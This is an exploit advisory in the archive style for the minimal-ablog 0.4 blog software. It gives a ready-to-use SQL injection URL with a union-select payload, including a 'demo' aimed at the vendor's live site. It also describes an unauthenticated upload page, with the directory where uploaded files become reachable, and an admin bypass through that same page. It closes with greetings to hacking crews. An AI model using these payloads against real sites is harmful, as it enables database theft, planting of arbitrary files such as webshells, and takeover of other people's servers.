minimalablog-sqlfubypass.txt

`===========================================================================================================  
  
  
[o] minimal-ablog 0.4 SQL Injection, File Upload and Admin Bypass Vuln   
  
Software : minimal-ablog version 0.4  
Vendor : http://www.abweb.co.cc/  
Download : http://code.google.com/p/minimal-ablog/downloads/list  
Author : NoGe  
Contact : noge[dot]code[at]gmail[dot]com  
Blog : http://evilc0de.blogspot.com  
  
  
===========================================================================================================  
  
  
[o] Vulnerable file  
  
index.php  
admin/uploader.php  
  
  
  
[o] Exploit  
  
[ SQL Injection ]  
  
http://localhost/[path]/index.php?id=[SQL]  
http://www.abweb.co.cc/index.php?id=-3%20union%20select%201,version(),3,4,5,6,7,8-- <=- demo  
  
[ File Upload ]  
  
http://localhost/[path]/admin/uploader.php <=- upload your file here  
http://localhost/[path]/img/[your_file] <=- file will be uploaded here  
  
[ Admin Bypass ]  
  
when you open admin/uploader.php to upload file you already have admin privs too :)  
  
  
===========================================================================================================  
  
  
[o] Greetz  
  
MainHack BrotherHood [ http://serverisdown.org/blog/]  
Vrs-hCk OoN_BoY Paman bL4Ck_3n91n3 loqsa  
H312Y yooogy mousekill }^-^{ kaka11 martfella  
skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke  
  
GANYANG MALINGSIAL!!! [ http://malingsial.serverisdown.org/ ]  
  
  
===========================================================================================================  
  
`